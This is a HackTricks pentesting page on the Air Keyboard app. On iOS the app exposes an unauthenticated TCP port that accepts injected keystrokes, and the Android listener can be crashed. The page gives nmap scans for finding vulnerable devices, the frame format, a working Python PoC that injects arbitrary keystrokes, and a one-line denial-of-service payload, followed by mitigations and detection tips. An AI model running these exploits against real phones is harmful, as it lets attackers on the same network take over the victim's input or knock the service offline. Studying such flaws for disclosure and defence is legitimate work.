hacktricks/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md

104 lines
4.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
The iOS version of the commercial "Air Keyboard" application (App Store ID 6463187929) opens a **clear-text TCP service on port 8888** that accepts keystroke frames **without any authentication**.
Any device on the same Wi-Fi network can connect to that port and inject arbitrary keyboard input into the victims phone, achieving **full remote interaction hijacking**.
A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake, but crafted garbage causes an **unhandled exception in the OpenSSL decryption routine**, crashing the background service (**DoS**).
## 1. Service Discovery
Scan the local network and look for the two fixed ports used by the apps:
```bash
# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
```
On Android handsets you can identify the responsible package locally:
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
```
## 2. Frame Format (iOS)
The binary reveals the following parsing logic inside the `handleInputFrame()` routine:
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
The declared length includes the `device_id` byte **but not** the two-byte header itself.
## 3. Exploitation PoC
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
```
Any printable ASCII (including `\n`, `\r`, special keys, etc.) can be sent, effectively granting the attacker the same power as physical user input: launching apps, sending IMs, visiting phishing URLs, etc.
## 4. Android Companion Denial-of-Service
The Android port (55535) expects a 4-character password encrypted with a **hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet is therefore enough to keep legitimate users disconnected until the process is relaunched.
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
## 5. Root Cause
1. **No origin / integrity checks** on incoming frames (iOS).
2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android).
## 6. Mitigations & Hardening Ideas
* Never expose unauthenticated services on a mobile handset.
* Derive per-device secrets during onboarding and verify them before processing input.
* Bind the listener to `127.0.0.1` and use a mutually authenticated, encrypted transport (e.g., TLS, Noise) for remote control.
* Detect unexpected open ports during mobile security reviews (`netstat`, `lsof`, `frida-trace` on `socket()` etc.).
* As an end-user: uninstall Air Keyboard or use it only on trusted, isolated Wi-Fi networks.
## Detection Cheat-Sheet (Pentesters)
```bash
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
```
## References
- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
{{#include ../../banners/hacktricks-training.md}}